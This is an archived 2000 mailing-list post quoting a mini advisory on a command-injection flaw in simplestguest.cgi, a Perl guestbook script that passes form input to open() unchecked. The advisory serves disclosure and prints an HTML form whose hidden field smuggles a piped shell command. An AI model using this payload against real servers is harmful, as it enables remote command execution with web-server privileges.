Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Subject: Re: Insecure input validation in simplestmail.cgi
Date: Wed Dec 13 2000 - 20:05:46 CST

> simplestmail.cgi is another Perl cgi written by "Tammie's HUSBAND" Leif

The whole group of "simplest" cgi's are bad. web developers: dont use them

I didnt really post this because its pretty lame but i looked at a few of these
a while back and heres something i put on my site in feburary. (which used to
be suid.edu and is now www.sneakerz.org/~suid/)

suidsneakerz.org - mini advisory - Tammies Husband Guestbook CGI

Software: simplestguest.cgi
URL: http://www.conservatives.net/atheist/scripts/simplestguest.html
Version: Version 2
Platforms: Unix
Type: Input validation problem


        Anyone can execute any command on the remote system with
        the priveleges of the web server.


        The perl code does no input validation and performs an
        open() on a user supplied input.


        Build a HTML form resembling:

        <form action=/cgi-bin/simplestguest.cgi method=POST>
                 <input type=hidden name=required value="NAME">
                 <input type=hidden name=guestbook
                value=" | <command goes here> |">
                 <input type=hidden name="NAME" value="X">
                 <input type=submit>

        Of course you could simply send this in a POST request directly
        to the web server. Whatever.